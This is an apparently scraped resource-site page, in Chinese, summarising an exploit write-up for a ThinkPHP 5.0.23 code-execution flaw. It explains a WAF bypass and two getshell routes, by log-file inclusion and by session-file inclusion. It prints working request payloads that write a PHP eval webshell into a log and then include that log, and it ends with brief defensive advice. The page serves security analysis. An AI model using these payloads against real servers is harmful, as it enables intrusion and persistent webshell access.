TP5代码执行漏洞分析:绕过WAF与getshell方法
需积分: 0 53 浏览量
更新于2024-08-05
收藏 1.29MB PDF 举报
"记一次有趣的tp5代码执行1"
在网络安全领域,发现并利用漏洞是常态。这次分享的是关于ThinkPHP框架5.0.23版本的一个代码执行漏洞。ThinkPHP是一个广泛使用的PHP开发框架,而这个特定的漏洞,称为“tp5method代码执行”,允许攻击者通过精心构造的payload来执行任意代码,尽管存在WAF(Web Application Firewall)的防护。
首先,我们需要了解漏洞的基础信息。攻击者可以利用`captcha_method`参数进行方法注入,触发`__construct`魔术方法,并通过`method`参数指定要执行的方法。在给定的payload中,可以看到`get`方法被调用,并尝试通过`assert`函数执行代码。然而,由于`assert`函数在php7.1.7中已经不能通过`call_user_func`回调调用,攻击者需要寻找其他方式来绕过限制。
面对无回显的环境,通常需要依赖外部反馈来确认漏洞利用是否成功。在这个例子中,通过判断WAF拦截的内容,我们可以推断出目标服务器的ThinkPHP版本是5.0.23,并且系统禁用了多个高风险的PHP函数,如`passthru`, `exec`, `system`等,这增加了利用的难度。
为了突破这些限制,文章提到了两种可能的策略:
1. **写日志并包含日志文件获取Shell**:攻击者可以将恶意代码写入日志文件,然后通过包含日志文件来执行代码。例如,可以使用`call_user_func`或`think\__include_file`来包含写入恶意PHP代码的日志文件,从而实现远程命令执行。
- payload示例:
```
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?phpeval($_POST['x'])?>
```
或
```
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();
```
2. **写session并包含session文件获取Shell**:另一种方法是将恶意代码写入session文件,然后通过包含session文件来执行。攻击者可以通过发送特定的POST请求来创建包含恶意代码的session,并在后续请求中利用它。
- payload示例:
```
POST/?s=captcha HTTP/1.1
Cookie: session_name=...
Content-Type: application/x-www-form-urlencoded
...
```
这里省略了具体的POST数据,因为实际payload会包含恶意PHP代码,并写入session。
在实战中,攻击者可能需要多次尝试不同的payload和方法,以适应目标系统的具体配置和防护措施。同时,防御方应该及时更新框架到最新安全版本,禁用不必要的危险函数,并启用严格的输入验证和过滤,以降低这类漏洞被利用的风险。对于开发者而言,理解这些攻击手段可以帮助他们在编写代码时避免类似的错误,确保应用的安全性。
2022-08-03 上传
2022-08-03 上传
2021-03-11 上传
2019-05-01 上传
2021-02-13 上传
2017-10-31 上传
2020-12-17 上传
2019-09-12 上传
2020-12-19 上传
恽磊
- 粉丝: 29
- 资源: 297
最新资源
- JHU荣誉单变量微积分课程教案介绍
- Naruto爱好者必备CLI测试应用
- Android应用显示Ignaz-Taschner-Gymnasium取消课程概览
- ASP学生信息档案管理系统毕业设计及完整源码
- Java商城源码解析:酒店管理系统快速开发指南
- 构建可解析文本框:.NET 3.5中实现文本解析与验证
- Java语言打造任天堂红白机模拟器—nes4j解析
- 基于Hadoop和Hive的网络流量分析工具介绍
- Unity实现帝国象棋:从游戏到复刻
- WordPress文档嵌入插件:无需浏览器插件即可上传和显示文档
- Android开源项目精选:优秀项目篇
- 黑色设计商务酷站模板 - 网站构建新选择
- Rollup插件去除JS文件横幅:横扫许可证头
- AngularDart中Hammock服务的使用与REST API集成
- 开源AVR编程器:高效、低成本的微控制器编程解决方案
- Anya Keller 图片组合的开发部署记录